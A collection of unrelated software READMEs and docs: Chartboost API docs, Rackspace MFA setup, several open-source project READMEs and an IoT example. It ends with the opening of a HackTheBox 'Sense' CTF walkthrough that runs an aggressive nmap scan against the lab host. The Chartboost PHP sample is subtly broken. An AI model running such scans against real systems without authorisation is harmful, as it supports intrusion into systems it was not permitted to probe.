text:
# Third-Party Documentation Center

Welcome to the Chartboost third-party documentation center!

This site features API instructions third-party attribution platforms can use to send two types of data to Chartboost: install attribution postbacks to power S2S Tracking campaigns, and post-install revenue data for Chartboost Post-Install Analytics (PIA). Each product's API has a unique external endpoint.

## S2S Tracking Overview

Chartboost is introducing a new campaign type, S2S Tracking, that lets advertisers leverage attribution data from approved third parties to run CPI campaigns on the Chartboost network.

After Chartboost receives install attribution postbacks from a third party (via this endpoint), the game's CPI campaign targets in the Chartboost dashbaord will be replaced with S2S Tracking targets. (Third-party attribution data will then be used in place of attribution data collected by the Chartboost SDK.)

### S2S Tracking Requirements

- Third-party SDK integration. Chartboost SDK integration is still recommended (if you plan to publish, for example), but optional.
- Tracking URLs/macros to send Chartboost click data via Chartboost Callbacks to your third-party callbacks.
- S2S Tracking customers will also need to use their third-party attribution service's website to create install attribution postbacks. These postbacks need to include *all* attributed and non-attributed installs (using the claim= parameter).

## Post-Install Analytics Overview

The Post-Install Analytics (PIA) integration lets Chartboost customers view IAP data – like payer %, ARPU, purchase counts, ARPPU and more – in the Chartboost dashboard. They can then use this data to build custom player segments to power retargeting campaigns and optimize user acquisition efforts.

(For additional developer-facing information about PIA, visit our Help Site.)

### PIA Requirements

- Chartboost SDK PIA integration, direct S2S PIA integration, or third-party S2S PIA integration

## How to Read These Docs

These docs demonstrate how to make the requests to send to our API endpoints, with each endpoint's required and optional parameters described in detail.

You'll also find information about which HTTP method to use, which headers to include, etc.

We provide code examples where appropriate in Node.js, Shell (cURL), Python, and PHP. You can view these code examples in the dark area to the right and use the tabs at the top of that section to switch programming languages.

While this documentation and the code examples were designed to eliminate ambiguity about our endpoints, we're more than happy to answer any remaining questions you might have – just <a<EMAIL_ADDRESS>our Integrations Support Team for assistance!

(Note: At some points in these docs, we will use double curly braces to signify a variable that should be placed at a certain point. For example, we might notate `{{api token}}` in one parameter. When sending requests of your own, you should replace it with a value. So in practice, `{{api token}}` may become `"my_network_api_token"`.)

## Authentication

Each service API currently has different methods of authentication. The documentation for the service will include specific instructions about how to authenticate. For all endpoints that require authentication, requests must be signed and the computed signature must be placed in the `X-Chartboost-Signature` header.

All API requests should be made via HTTPS.

```php
<?php
// The php examples will use the requests library, found at:
// https://github.com/rmccue/Requests

$endpoint = "https://live.chartboost.com/api/endpoint"
$headers = array(
  "X-Chartboost-Signature" => "d41d8cd98f00b204e9800998ecf8427e"
);

Requests::get($response, $headers);
?>
```

```python
# The python examples will use the requests library, found at:
# http://docs.python-requests.org/en/latest/
import requests

endpoint = 'https://live.chartboost.com/api/endpoint'
headers = {
  'X-Chartboost-Signature': 'd41d8cd98f00b204e9800998ecf8427e'
}

requests.get(endpoint, headers=headers)
```

```shell
curl 'https://live.chartboost.com/api/endpoint' \
  -H 'X-Chartboost-Signature: d41d8cd98f00b204e9800998ecf8427e'
```

Remember – signature generation methods vary by endpoint!


text:
---
permalink: multi-factor-authentication-from-the-myrackspace-portal/
audit_date: '2018-03-30'
title: Multi-factor authentication from the MyRackspace Portal
type: article
created_date: '2014-07-17'
created_by: Margaret Eker
last_modified_date: '2019-01-25'
last_modified_by: Cat Lookabaugh
product: Cloud Servers
product_url: cloud-servers
---

Customers can increase security on MyRackspace accounts by using the
multi-factor authentication capabilities provided by the Rackspace Cloud
Identity service. Multi-factor authentication adds an extra layer of
identity verification to the log in process by requiring a user to
submit a time-sensitive passcode that the Identity service sends to an
SMS or mobile passcode device associated with the user's account:

-   An SMS device is a mobile phone, notebook, or other digital device
    with an associated phone number that is capable of receiving SMS
    text messages.

-   A mobile passcode device is created in a client application installed
    on your phone, notebook, or other digital device.

You can add multi-factor authentication by updating your account
settings in the [MyRackspace Portal](https://login.rackspace.com). After you pair
a device with your account, authentication becomes a two-step process:

1.  Each time you log in, the Identity service generates
    a passcode and sends it to the paired device.

2.  After the passcode is sent, the system prompts you to type the
    passcode and submit it to the Identity service to complete the
    authentication process.

    **Note:** Standard text message rates and data fees apply based on
    your contract with your mobile device provider.

Additionally, account administrators can configure account-wide settings to
specify a multi-factor authentication policy for all account users. By
default, account users have the option to set up and use multi-factor
authentication. Administrators can update the account-wide settings to require
multi-factor authentication for all users. When this setting is enabled, users
can’t access their account until they configure multi-factor authentication.
Current users are logged out as soon as the account-wide requirement is
applied. At the next login, users are notified of the increased security and
are prompted to complete the setup process.

**Notes**

-   You can't configure multi-factor authentication for the Cloud
    Control Panel inside of the MyRackspace Portal. You must log in to
    the [Cloud Office Control Panel](https://login.rackspace.com) and use these
    [instructions](/how-to/multi-factor-authentication-from-the-cloud-control-panel/)
    to setup your users for the Cloud Control Panel.

-   Administrators cannot set up devices for their users. Users must
    configure their own devices. To modify their multi-factor authentication
    settings, users must log in to the MyRackspace Portal with the user
    credentials that they want to modify.

### Configure your account to authenticate by using an SMS device

To configure your account to use an SMS device for multi-factor
authentication, you need the phone number associated with your digital
device. The device must be enabled to receive SMS text messages.

To register and verify an SMS device, use the following steps:

1.  Log in to the [MyRackspace Portal](https://login.rackspace.com/).

2.  Click **Account** and then click **My Multi-Factor Devices**.

3.  Click **Add** next to the **SMS** option.

4.  Enter the phone number of your SMS-capable device and click **Add SMS Device**.

    After you click **Add SMS Device**, the Identity service sends an SMS
    text message with a four-digit PIN to the specified phone.

5.  On the **Verify Code** form in the MyRackspace Portal, type the PIN code sent
    to your mobile device in the **Verification Code** field. Then, click
    **Verify SMS Device**.

    After you submit the verification code, the MyRackspace Portal login page
    is displayed so that you can re-authenticate by using the multi-factor
    authentication process.

### Configure your account to authenticate by using a mobile passcode device

To configure your account to use a mobile passcode device for multi-factor
authentication, you must have one of the following client applications
installed on your device: [Authy](https://www.authy.com/),
[Duo](https://www.duosecurity.com/),
[Google Authenticator](https://support.google.com/accounts/answer/1066447?hl=en),
or [SecureAuth OTP](https://www.secureauth.com/Support/Downloads/Client-Applications.aspx).

To register and verify a mobile passcode device, use the following steps:

1.  Log in to the [MyRackspace Portal](https://login.rackspace.com/).

2.  Click **Account** and then click **My Multi-Factor Devices**.

3.  Click **Add** next to the **Mobile Passcode** option.

4.  Enter a nickname for your device and click **Add Device.**

    The Identity service generates a QR code that you can use to pair your
    MyRackspace account with your device.

5.  To pair your account with your device, use the client application on
    your device to scan the QR code.

    The application on your device adds the device name that you specified and
    generates a passcode.

6.  To verify the new device in the MyRackspace Portal, enter the passcode in
    the portal's **Verification** pop-up dialog box.

    **Note:** When you add a mobile password device, mobile password is the
    default method for an authentication. If you do not want this to be the
    default method or if you do not want to be logged out of your account when
    you verify the passcode, clear the **Make this my default authentication
    method** check box.

    You can update the default authentication method on the **Account
    Settings** page.

7.  Click **Verify Mobile Device**.

    After you submit the verification code, you are automatically logged out.

8.  On the MyRackspace login page, enter your username and password. Then,
    enter the verification code from the mobile passcode device that you paired
    with your account.

### Change the default multi-factor authentication method

If your account has been configured with both SMS and mobile passcode devices,
you can select the default multi-factor authentication method from the
**My Multi-Factor Devices** page by using the following steps.

1.  Log in to the [MyRackspace Portal](https://login.rackspace.com/).

2.  Click **Account:** and then select **User Management** from the menu.

3.  Click **My Multi-Factor Devices**.

4.  In the **Multi-Factor Authentication** section, review the default
    authentication method setting and click **Edit** to change it.

5.  In the pop-up dialog box, select the default method that you want and then
    click **Save**.

### Configure account-wide multi-factor authentication settings from an administrator account

Account administrators can update MyRackspace account-wide settings to require
all users to authenticate by using multi-factor authentication. When this
setting is enabled, users can't access their accounts until they add and
verify a device on their account.

To configure account-wide settings for multi-factor authentication, use the
following steps:

1.  Log in to the [MyRackspace Portal](https://login.rackspace.com).

2.  Click **Account**, and then select **User Management** from the menu.

3.  Click **My Multi-Factor Devices**.

4.  Click the pencil icon to edit the **Require Multi-Factor** setting.

5.  In the Account-wide multi-factor authentication pop-up dialog box, select
    an option to set the policy for account users. Then, click **Save
    Setting** to apply the change.

    If you update the setting to be required, users who do not have
    multi-factor authentication configured must add it the next time
    they log in.

    When these users log back in, they are guided through the
    multi-factor authentication setup.

### Configure multi-factor authentication during account log in

If your account is not configured for multi-factor authentication when
it is required, you are notified about the increase in security
requirements and prompted to set up authentication.

To access your account, click **Set Up Multi-Factor Authentication.**
Then, follow the steps to register and verify a
device, and authenticate by using the passcode sent to the device.

### Log in to MyRackspace by using multi-factor authentication

If you add multi-factor authentication to your account, authentication is a
two-step process.

Multi-factor authentication has the following prerequisites:

-   MyRackspace account with valid username and password credentials
-   Access to the registered and verified SMS or mobile passcode device paired
    with your MyRackspace account

To log in to the MyRackspace Portal with multi-factor authentication, use the
following steps:

1.  Log in to the [MyRackspace Portal](https://login.rackspace.com/) with
    your username and password.

    If your account is configured to use multi-factor authentication with
    an SMS device, the Identity service sends an SMS
    text message with a 7-digit passcode to the device registered to
    your account.

    If your device is configured to use multi-factor authentication with a
    mobile passcode device, open the client application and get the passcode
    from the mobile passcode device associated with your MyRackspace account.

2.  When prompted, type the passcode in the **Passcode** field on the
    login page. Then, click **Verify Code** to log in to your
    account.

### Manage multi-factor authentication

MyRackspace users can view and manage the multi-factor authentication
configuration from the **Account** > **User Management** > **My Multi-Factor Devices**
menu in the MyRackspace Portal.

**To verify your device**

You can verify your SMS or OTP device from the **My Multi-Factor Devices**
page.

-   If you have an SMS device on your account that has not been verified,
    use the **Verify** option to complete the verification process.

-   If you have a mobile passcode device that has not been verified, use the
    **Manage** option to complete the verification process.

**To recover an account**

You can generate up to ten bypass codes that you can use to authenticate
if the device associated with your account is not available. You save
the generated codes to a file on your computer for future use.

**Important:** To avoid losing access to your account, generate and save
the bypass codes as soon as you enable multi-factor authentication by using the
following steps:

1.  On the **My Multi-Factor Devices** page, click **Generate Recovery Codes**.

2.  In the **Quantity** field, select the number of codes to generate or
    accept the default value.

3.  Click **Generate Codes**.

4.  Manually copy the recovery codes to a file or click **Save Your Codes**
    to generate a text file with the codes.

**To remove multi-factor authentication**

You can turn off multi-factor authentication and remove all devices
associated with your account.

On the **My Multi-Factor Devices** page, click **Remove all devices**.

**To change the mobile phone number**

To change the mobile phone number paired with your account, use the
**Remove all devices** option to remove the existing phone number (for
instructions, see the preceding task).  Then, update the authentication
settings with the new phone number and verify the device.

**To remove an SMS or mobile passcode device**

To remove an SMS device, use the **Remove all devices** option.
To remove a mobile passcode device, use the **Manage** option to delete the
device from your account.

### Troubleshooting

Use the following information to resolve common issues that can occur
when configuring and using multi-factor authentication.

<colgroup>
<col width="50%" />
<col width="50%" />
</colgroup>

Issue
Resolution

Invalid phone number

If you get an error message when registering a phone number, verify that you have entered the correct country code and a valid phone number with no extra characters or spaces.

Invalid PIN when verifying device

When you try to verify a mobile device, you might receive an error caused by an invalid PIN. Confirm that you are entering the correct four-digit PIN that you received via SMS text message.  Ensure that you are using the mobile device that is paired with the MyRackspace account.

Locked account

If you enter an incorrect passcode more than six times during the multi-factor authentication process, your account will be locked. Contact Rackspace Support to restore access to a locked account.

Cannot link cloud account in MyRackspace with multi-factor enabled

If you are using MyRackspace, you can't link to an existing Rackspace Cloud account that has been enabled for multi-factor authentication.

Account recovery

If your account is configured for multi-factor authentication, and you do not have access to your device or your generated account recovery codes,  contact Rackspace Support.

repository: rackerlabs/rackspace-how-to

branch_name: refs/heads/master

extension: md

gha_language: Shell

license_type: permissive

repo_name: rackerlabs/rackspace-how-to


text:
# Sileo
[![Build](https://github.com/Sileo/Sileo/actions/workflows/main.yml/badge.svg)](https://github.com/Sileo/Sileo/actions/workflows/main.yml)

A modern APT package manager frontend

## Info

Sileo focuses on speed, features, and a modern feel. It is made with love by people from all over the world! We have an [official Twitter](https://twitter.com/getsileo) that regularly posts updates, polls, and more.

## Support

For support, contact [Sileo Support on Twitter](https://twitter.com/SileoSupport) or ask in the [Sileo Discord server](https://discord.com/invite/Udn4kQg).

## Contribute

For localization, [join our Crowdin project](https://crowdin.com/project/sileo) and submit your translations over there.

For code, make a pull request with your changes and our team will review it.

To set up development, follow these steps:

1. Clone this repository
    ```
    git clone --recursive https://github.com/Sileo/Sileo.git ./Sileo
    cd ./Sileo
    ```
2. Configure the `Config.xcconfig` file
    * Open that file and set `DEVELOPMENT_TEAM` to your Apple Developer Team ID
    * Remove that file from source control with `git update-index --skip-worktree ./Config.xcconfig`
3. Open `Sileo.xcodeproj` and have at it!

If you have any questions, ask in the Sileo Discord server. Happy coding!

#

Sileo Team 2018-2021

repository: summertriangle-dev/Sileo

branch_name: refs/heads/stable

repo_name: summertriangle-dev/Sileo


text:
# Haml.js

  High performance JavaScript [Haml](http://haml-lang.com) implementation for [nodejs](http://nodejs.org)

## Installation

  Install the [Kiwi package manager for nodejs](http://github.com/visionmedia/kiwi)
  and run:

      $ kiwi install haml

      node> require('haml')

Or npm:

      $ npm install hamljs

      node> require('hamljs')

## About

  Benchmarks rendering the same 21 line haml file located at _benchmarks/page.haml_,
  shows that this library is nearly **65%** or **3 times** faster than haml-js.

      Winner: haml.js
      Compared with next highest (haml-js), it's:
      65.39% faster
      2.89 times as fast
      0 order(s) of magnitude faster

  Haml.js attempts to comply with the original [Haml](http://haml-lang.com/docs/yardoc/file.HAML_REFERENCE.html)
  implementation as well as possible. There are no magic "plugins" like
  found in other JavaScript haml implementations, for example the following
  will work just fine:

    - if (items)
      %ul
        - for (var i = 0; i < items.length; ++i)
          %li= items[i]

  Iteration is the one exception to these magical plugins,
  since this is **ugly** in JavaScript, you may also:

    - if (items)
      %ul
        - each item in items
          %li= item

## Usage

    var haml = require('haml')
    haml.render('a string of haml', { a: 'hash', of: 'options' })

## Options

  * context
    - when passed the value of "this" becomes the given "context" object
  * locals
    - when passed all members of this object become available to this template
  * filename
    - required when _cache_ is enabled
  * cache
    - compiled intermediate javascript is cached in memory keyed by _filename_

## Tags

    %div text

html:

text

## Classes

    %div.article.first
      article text here
      and here

html:

      article text here and here

## Div Class Shortcut

    .comment hey

html:

hey

## Div Id Shortcut

    #article-1 foo

html:

foo

## Combining Ids and Classes

You may chain id and classes in any order:

    .article#first.summary content

html:

context

## Attributes

    %a{ href: 'http://google.com', title: 'Google It' } Google

html:

    Google

Attribute keys such as "for" are automatically quoted
by haml.js, so instead of:

    %label{ 'for': 'something' }

you should:

    %label{ for: 'something' }

which will render:

## Boolean Attributes

    %input{ type: 'checkbox', checked: true }

html:

    <input type="checkbox" checked="checked"/>

## Combining Attributes, Ids, and Classes

Wemay also contain id and classes before or after:

    %a.button{ href: 'http://google.com', title: 'Google It' }.first Google

html:

    Google

## Code

Code starting with a hyphen will be executed but
not buffered, where as code using the equals sign
will be buffered:

    - a = 1
    - b = 2
    = a + b

html:

    3

HTML buffered with equals sign will **always** be escaped:

    = "
"

html:

    <br/>

To prevent escaping of HTML entities we can use _!=_:

    != "
"

html:

## Iteration

    %ul
      - each item in items
        %li= item

html:

one

two

three

If you require the key or index of the object
or array during iteration simple append a comma
following another id:

    %ul
      - each item, index in items
        %li= item + '(' + index + ')'

html:

one(0)

two(1)

three(2)

## Doctypes

Defaults to transitional:

    !!!

html:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

Optionally pass a supported doctype name:

    !!! strict

html:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

currently supported doctypes, which can be
extended simply by adding values to to _haml.doctypes_.

    '5': '<!DOCTYPE html>',
    'xml': '<?xml version="1.0" encoding="utf-8" ?>',
    'default': '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">',
    'strict': '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
    'frameset': '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">',
    '1.1': '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">',
    'basic': '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML Basic 1.1//EN" "http://www.w3.org/TR/xhtml-basic/xhtml-basic11.dtd">',
    'mobile': '<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.2//EN" "http://www.openmobilealliance.org/tech/DTD/xhtml-mobile12.dtd">'

## :cdata

    %script
      :cdata
        foo

html:

## :javascript

    %head
      :javascript
        if (foo)
          if (bar)
            alert('baz')

html:

## Extending Haml

### Adding Filters

    var haml = require('haml')
    haml.filters.my_filter = function(str) {
      return doSomethingWith(str)
    }

by registering the filter function _my_filter_ we can now
utilize it within our Haml templates as shown below:
    %p
      :my_filter
        some text
        here yay
        whoop awesome

### Adding Doctypes

    var haml = require('haml')
    haml.doctypes.foo = '<!DOCTYPE ... >'

Will now allow you to:
    !!! foo

## Running Benchmarks

To run benchmarks against [haml-js](http://github.com/creationix/haml-js)
simply execute:

    $ git submodule update --init
    $ node benchmarks/run.js

## More Information

  * View _spec/fixtures_ for more examples
  * Official [Haml](http://haml-lang.com/docs/yardoc/file.HAML_REFERENCE.html) reference
  * JavaScript [Sass](http://github.com/visionmedia/sass.js) implementation

## License

(The MIT License)

Copyright (c) 2010 TJ Holowaychuk<EMAIL_ADDRESS>
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
'Software'), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

license: MIT


text:
⚡ hacktoberfest-website-2019

Website for Hacktoberfest event 2019 hosted by TraceCEA

https://hacktoberfest-tracecea.surge.sh

### 🧰 Tech / framework(s) used

- Build
     - [Yarn](https://yarnpkg.com/lang/en/)
- BackEnd
    - [ExpressJs](https://expressjs.com/)
    - [GitHub API](https://github.com/octokit/rest.js/)
    - [Google Sheets API](https://sheets.google.com/)
- FrontEnd
    - [ReactJs](https://reactjs.org/)
    - [React Bootstrap](https://react-bootstrap.github.io/)
    - [React Router Dom](https://www.npmjs.com/package/react-router-dom)
    - [Sass](https://sass-lang.com/)

## 🚀 Quick Start

- `yarn install` to install dependencies.
- `yarn run dev:web` to start the CRA in development.
- `yarn run server` to start the development express server.
- `yarn run build:web` build the files for production.

#### 🌟 Passing Environment Variables

##### For Client

Copy `.env.sample` to `.env.development` or `.env.production` in `client/` directory and update credentials in those files.

##### For Server

Copy `variables.env.sample` to `variables.env` in `server/` directory and update the file.

#### 🌟 Accessing Google Sheets API

Follow instructions from [here](https://www.npmjs.com/package/google-spreadsheet#authentication) and update `GSHEETS_ID`, `G_PKEY`, `G_C_EMAIL` fields in `server/variables.env`

#### 🌟 Accessing GitHub API

##### Generate new tokens

Goto [Personal Access Tokens](https://github.com/settings/tokens)

- For unauthenticated requests, the rate limit is 60 requests per
  hour.
  see [Rate Limiting](https://developer.github.com/v3/#rate-limiting)

##### 🌟 Updating metadata

Edit `config/index.js` file with your custom information

##### 🌟 Adding static contents

Copy contents (images, documents, etc...) to `static/` directory

#### 🌟 Publishing to surge.sh using GitHub Actions

Pass `SURGE_DOMAIN`, `SURGE_LOGIN`, `SURGE_TOKEN` to `settings/secrets` in GitHub Settings

## 🖤 Show your support

Give a ⭐ if this you find this project useful!

## 🗞 Licence

Code released under the [MIT License](LICENSE).

## 📋 Copyrights

Logos & Branding:

- © 2019 DIGITALOCEAN, LLC. ALL RIGHTS RESERVED.
- © 2019 TRACECEA. ALL RIGHTS RESERVED.

gha_language: JavaScript

gha_license_id: MIT


text:
MessagePack for Haskell
=======================

This is an implementation of msgpack for Haskell.

It containes:

* Serializer/Deserializer
* RPC

# Install

Execute following instructions:

~~~ {.bash}
$ cabal update
$ cabal install msgpack
$ cabal install msgpack-rpc
~~~

# Document

There are Haddoc documents on Hackage Database.

* <http://hackage.haskell.org/package/msgpack>
* <http://hackage.haskell.org/package/msgpack-rpc>

repository: voidlizard/ntced-tcp-proxy

repo_name: voidlizard/ntced-tcp-proxy


text:
[![Neonmarker Development Stats on Open Hub](https://www.openhub.net/p/neonmarker/widgets/project_thin_badge.gif)](https://www.openhub.net/p/neonmarker)

# Neonmarker

Continuation of the Zaproxy Neonmarker addon by [@juhakivekas](https://github.com/juhakivekas).

Neonmarker is a [@zaproxy](https://github.com/zaproxy/) addon which facilitates colouring of History table entries based either on the Tags that have been applied to them (either by the Passive scanner or manually), or arbitrarily.

## Example

![neonmarker](https://user-images.githubusercontent.com/7570458/81472264-ce5c6280-91c4-11ea-82e9-1dd1556a2746.gif)

## Support

If you have problems or enhancement requests they can be raised as issues in this repository (just click the [Issues tab](https://github.com/kingthorin/neonmarker/issues) above).

### Help

Basic help info is available both within ZAP and via the [ZAP website](https://www.zaproxy.org/docs/desktop/addons/neonmarker/), including an example of how you can add color mappings via ZAP script.

## Backlog/TODO

### Order of tag rules can be dynamically changed in UI
- drag and drop?

### User can add colour by regex
- UI configurable passive scanning rule
- Custom Tagger extension?

### User can save colour mappings between sessions and projects
- database?
- xml?
- ZAP preference file?

### IDEAS
- Designer-picked colours "koodarivärit"

repository: kingthorin/neonmarker

branch_name: refs/heads/main

gha_language: Java

repo_name: kingthorin/neonmarker


text:
# TraNCE
### TRAnslating Nested Collections Efficiently: a framework for processing nested collection queries

The framework is organized into two subfolders:
* `compiler` contains all the components for running the standard and shredded pipeline, both skew-unaware and skew-aware. This goes from NRC to generated code.
* `executor` contains plan operator implementations specific to the targets of the code generator. Currently, we support Spark 2.4.2. This organization avoids running the compiler with Spark-specific dependencies.

### Supplementary Materials

Supplementary materials can be found in the base directory `supplementary.pdf`. Also in the base
directory, `external.tar.gz` contains the source files for TPC-H benchmark queries written in external systems.

### System Requirements

The framework has been tested with `Scala 2.12` and `Spark 2.4.2`, pre-built with Scala 2.12 support. See [spark.apache.org](https://spark.apache.org/releases/spark-release-2-4-2.html) for more details.

### Example Usage

This example runs the skew-unaware and skew-aware shredded pipeline for the running example:

```
For c in COP Union
  {( c_name := c.c_name,
     c_orders := For o in c.c_orders Union
    {( o_orderdate := o.o_orderdate,
       o_parts := ReduceByKey([p_name], [l_quantity],
      For l in o.o_parts Union
        For p in P Union
          If (l.l_partkey = p.p_partkey) Then
            {( p_name := p.p_name,
               l_quantity := l.l_quantity )}
```

NRC queries can currently be described directly in Scala. The above is the running example as defined
in Scala [here](https://github.com/jacmarjorie/shredder/blob/master/compiler/src/main/scala/framework/examples/tpch/NestedToNested.scala#L286-L309). `compilers/src/main/scala/framework/examples/` contains more examples on how to do this.

This example writes the Spark application code into the `executor/spark` package,
which will then be compiled into an application
jar along with additional Spark-specific dependencies. This is because it will need to
access the same `spark.sql.implicits` as the functions inside this package.

Run sbt in the `compiler` directory:

```
cd compiler
sbt run
```

Select to run the first application `[1] framework.generator.spark.App`. This will generate two files:
* skew-unaware, shredded pipeline: `../executor/spark/src/main/scala/sparkutils/generated/ShredTest2NNLUnshredSpark.scala`
* skew-aware, shredded pipeline: `../executor/spark/src/main/scala/sparkutils/generated/ShredTest2NNLUnshredSkewSpark.scala`

Navigate to `executor/spark`. This example assumes that the application
will be ran from this directory; if you execute from any other directory,
update the `datapath` configuration variable in `data.flat`
to point to `executor/spark/data/tpch` directory. See [below](#additional-configurations)
for further details on config parameters.

To continue, compile the package:

```
cd executor/spark
echo "datapath=$PWD/data/tpch" > data.flat
sbt package
```

Once compiled, the application can be compiled with spark-submit. For example, to run the application
corresponding to `ShredTest2NNLUnshredSkewSpark.scala` as a local spark job do:

```
spark-submit --class sparkutils.generated.ShredTest2NNLUnshredSkewSpark \
  --master "local[*]" target/scala-2.12/sparkutils_2.12-0.1.jar
```

If you would like to print to console, you can edit the generated
application file - just uncomment the line `Test2NNL.print` at the
bottom of the application file, then redirect to stdout:

```
spark-submit --class sparkutils.generated.ShredTest2NNLUnshredSkewSpark \
  --master "local[*]" target/scala-2.12/sparkutils_2.12-0.1.jar > out
```

### Additional Configurations

The file `data.flat` is read by `executor/spark/src/main/scala/sparkutils/Config.scala`.
The below table defines the additional config parameters.

| Parameter | Type | Description | Default |
| ---- | ---- | --- | --- |
| datapath | String | Path to TPC-H `.tbl` files. Only required for TPC-H queries. | `/path/to/executor/spark/data/tpch` |
| minPartitions | Int | The minimum number of partitions. | 400 |
| maxPartitions | Int | The maximum number of partitions. Also used for `spark.sql.shuffle`. | 1000 |
| heavyKeyStrategy | String | The strategy for heavy key calculuation. Can be either `sample` or `slice`. | `sample` |
| sample | Int | The number of values to slice in the `slice` procedure. | 1000 |
| threshold | Double | Threshold used for heavy key procedure. For `sample` this is the percent of values that should be reached to be considered heavy. For `slice` this is the scale above average to be reached to be considered heavy. | .0025 |

repository: PavlosPiperis/trance

repo_name: PavlosPiperis/trance


text:
Dashboarder
===
Dashboarder is a small web app for rotating between multiple dashboards.

Built at [Wrapp](https://www.wrapp.com) by [Nicklas Ansman](https://github.com/ansman).

Running locally
===
```shell
$ npm install
$ node server.js
```

Developing
===
Either you can run `foreman start` or `grunt watch` and `node server.js`.

Building `gh-pages`
===
```shell
$ grunt build
$ git checkout gh-pages
$ git merge -s subtree master --no-edit
```

repository: wrapp-archive/dashboarder

repo_name: wrapp-archive/dashboarder


text:
[![](https://cloud.githubusercontent.com/assets/1317406/12406044/32cd9916-be0f-11e5-9b18-1547f284f878.png)](http://www.synapse-wireless.com/)

# E20 Example - Interfacing to Adafruit IO

![](https://cloud.githubusercontent.com/assets/1317406/12931178/07558fe8-cf42-11e5-8f7f-f022f0209598.gif)

## Common Setup
Each example in this repo requires some amount of common setup. Please follow the
[common setup instructions](../README.md#common-setup) first.

## Configuring Adafruit IO
To use this example a free Adafruit IO account is required. To sign up, visit:

> https://accounts.adafruit.com/users/sign_up

After signing up, go to your [Adafruit IO settings page](https://io.adafruit.com/settings) and get your AIO API key:

![](https://cloud.githubusercontent.com/assets/1317406/12931309/b10b9b5e-cf42-11e5-84b0-901e029b340a.png)

## Setup Gateway
Simply power up the E20 and load the software onto the E20 (put it in the snap user directory).
You must edit the provided `adafruitio/settings.py` file to use your personal AIO key:

```python
# TODO - Update ADAFRUIT_IO_KEY with your personal Adafruit IO API key
ADAFRUIT_IO_KEY = "ab37939a9873db7e9f97b97a7ed99cb98d98e98baf98be98ad"
```

This example also uses several 3rd-party Python libraries. Install them onto your E20 using

```bash
sudo pip2.7.9 install -r adafruitio/requirements.txt --extra-index-url https://update.synapse-wireless.com/pypi/
```

Once both of these steps have been competed, execute the adafruit_example.py Python script as sudo.

```bash
sudo python2.7.9 adafruit_example.py
```

Now that Adafruit IO and the E20 have been configured,
the [Feeds page](https://io.adafruit.com/feeds) should new values that were transmitted by the SNAP node.

Now take some time to explore Adafruit IO by creating your own dashboards.

repository: synapse-wireless/snap-to-cloud-examples

gha_language: Python

repo_name: synapse-wireless/snap-to-cloud-examples


text:
---
layout: post
title: "HackTheBox - Sense writeup"
subtitle: "~ Walkthrough of Sense machine from HackTheBox ~"
date: 2018-03-25
author: V3ded
category: CTF
tags: blog ctf pentesting hackthebox
finished: true
excerpt_separator:
---

# Introduction
Sense! An easy rated machine which can be both simple and hard at the same time. Enumeration is a heavy factor in this box, so make sure you don't overlook anything! Missing one simple detail might result into countless hours of wasteful searching and mashing of the keyboard :). Without further ado, let's get right into it!

# Scanning
Start out by obtaining the IP (**<IP_ADDRESS>**) of the Sense machine and nmap it.

```console
root@EdgeOfNight:~# nmap -sS -T4 -A <IP_ADDRESS>

Starting Nmap 7.50 ( https://nmap.org ) at 2018-03-25 05:02 CDT
Nmap scan report for <IP_ADDRESS>
Host is up (0.13s latency).

PORT    STATE SERVICE  VERSION
80/tcp  open  http     lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://<IP_ADDRESS>/
443/tcp open  ssl/http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after:  2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose
Running (JUST GUESSING): Comau embedded (92%), OpenBSD 4.X (89%)
OS CPE: cpe:/o:openbsd:openbsd:4.0
Aggressive OS guesses: Comau C4G robot control unit (92%), OpenBSD 4.0 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   169.61 ms <IP_ADDRESS>
2   169.63 ms <IP_ADDRESS>

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.61 seconds

```

